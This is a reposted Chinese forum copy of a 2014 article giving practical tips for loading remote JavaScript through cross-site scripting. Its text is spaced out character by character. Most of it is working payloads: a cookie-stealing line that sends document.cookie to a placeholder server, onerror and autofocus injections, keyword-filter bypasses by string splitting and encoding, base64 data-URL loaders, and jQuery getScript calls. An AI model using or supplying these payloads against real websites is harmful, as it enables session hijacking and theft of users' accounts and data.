搜索

[7768] 2014-01-26_xss如何加载远程js的一些tips

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-17
2014-01-26_xss如何加载远程js的一些tips x s s 如 何 加 载 远 程 j s 的 一 些 t i p s 阿 布   F r e e B u f   2 0 1 4 - 0 1 - 2 6 在 早 期   ，   对 于 x s s 我 们 是 这 样 利 用 的 < s c r i p t > w i n d o w . o p e n ( ' h t t p : / / x x x . x x x / c o o k i e . a s p ? m s g = ' + d o c u m e n t . c o o k i e ) < / s c r i p t > 将   c o o k i e 之 类 的 数 据 传 递 到 自 己 的 服 务 端 但 是   如 果 要 更 为 复 杂 的 攻 击 的 话 ， 由 于 字 符 串 长 度 等 限 制   需 要 加 载 远 程 j s 来 实 现 。 一 个 简 单 的 例 子 < s c r i p t   s r c = h t t p : / / x x x . x x x / a . j s > < / s c r i p t > 这 样 更 为 简 洁 < s c r i p t   s r c = / / x x x . x x x / a . j s > < / s c r i p t > s r c 属 性 会 自 己 取 当 前 页 面 的 协 议 。 过 滤 了   < > 的 话   有 时 候 可 以 用   % b f   u 0 0 3 c u   等 来 绕 过 。 对 于 可 以 执 行 j s 的 属 性 ， 我 们 可 以 控 制 其 内 容 的 话 ， 可 以 基 于 D O M 的 方 法 创 建 和 插 入 节 点 调 用 j s < i m g   s r c = x   o n e r r o r = d o c u m e n t . b o d y . a p p e n d C h i l d ( d o c u m e n t . c r e a t e E l e m e n t ( ' s c r i p t ' ) ) . s r c = ' / / x x x . x x x / a . j s ' > 不 要 忘 记   a u t o f o c u s 无 须 交 互 即 可 执 行 j s 。 < i n p u t   a u t o f o c u s = " "   o n f o c u s = " . . . . . . . . "   / > 过 滤 了   s c r i p t   ‘   c r e a t e   等 关 键 字 的 话 。   各 种 编 码 绕 过 即 可 。   你 可 以 看 下 j i n 的 这 篇 文 章 h t t p : / / d r o p s . w o o y u n . o r g / t i p s / 6 8 9 或 者 用 S t r i n g . f r o m C h a r C o d e   函 数 转 换 成   a s c 码 但 是 s t r i n g . f r o m c h a r c o d e   太 长 了 , 在 同 一 个 页 面 ， 可 控 多 个 输 出 的 时 候 ，   可 以 对 全 局 变 量   进 行 多 次 赋 值 一 个 经 典 的 例 子 < s c r i p t > z = ' d o c u m e n t . ' < / s c r i p t > < s c r i p t > z = z + ' w r i t e ( " ' < / s c r i p t > < s c r i p t > z = z + ' < s c r i p t ' < / s c r i p t > < s c r i p t > z = z + '   s r c = h t ' < / s c r i p t > < s c r i p t > z = z + ' t p : / / w w ' < / s c r i p t > < s c r i p t > z = z + ' w . s h e l l ' < / s c r i p t > < s c r i p t > z = z + ' . n e t / 1 . ' < / s c r i p t > < s c r i p t > z = z + ' j s > < / s c ' < / s c r i p t > < s c r i p t > z = z + ' r i p t > " ) ' < / s c r i p t > < s c r i p t > e v a l _ r ( z ) < / s c r i p t > 我 们 也 可 以 用 d a t a   u r l   来 加 载 。 < o b j e c t   d a t a = " d a t a : t e x t / h t m l ; b a s e 6 4 , P H N j c m l w d C B z c m M 9 a H R 0 c D o v L 3 h 4 e C 5 4 e H g v Y S 5 q c z 4 8 L 3 N j c m l w d D 4 = " > < / o b j e c t > <
i f r a m e   s r c = " d a t a : t e x t / h t m l ; b a s e 6 4 , P H N j c m l w d C B z c m M 9 a H R 0 c D o v L 3 h 4 e C 5 4 e H g v Y S 5 q c z 4 8 L 3 N j c m l w d D 4 = " > < / i f r a m e > P H N j c m l w d C B z c m M 9 a H R 0 c D o v L 3 h 4 e C 5 4 e H g v Y S 5 q c z 4 8 L 3 N j c m l w d D 4 =   是 < s c r i p t   s r c = h t t p : / / x x x . x x x / a . j s > < / s c r i p t > 的 b a s e 6 4 值 。 支 持 d a t a   u r l   的 标 签 还 有 < a n c h o r > 、 < i m g >   < a > ( 需 点 击 )   < m e t a > . . . . . 需 注 意 的 是 < i m g > 里 的   d a t a   u r l   是 不 允 许 执 行 j s 的 。 还 有 ，   i e 8   以 下 浏 览 器 是 不 支 持   d a t a   u r l 的 。 I E 8   d a t a   U R L   最 大 长 度 限 制 为 3 2 k 字 节 ， 超 出 无 效 。 I E 9 + 没 有 这 个 限 制   i e 不 支 持 对 < f r a m e > 标 签 的 s r c 设 置 d a t a   U R L 有 时 候   我 们 可 以 直 接 调 用 j a v a s c r i p t 框 架 的 函 数   来 实 现 一 些 功 能 。 比 如 ，   支 持   j q u e r y 的 话 ( 通 过 查 看 源 代 码 ， 你 可 以 看 出 是 否 支 持 ) 我 们 直 接 这 样 调 用 就 可 以 了 $ . g e t S c r i p t ( " / / x x x . x x x / a . j s " ) ; 实 践 出 真 理 ！ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理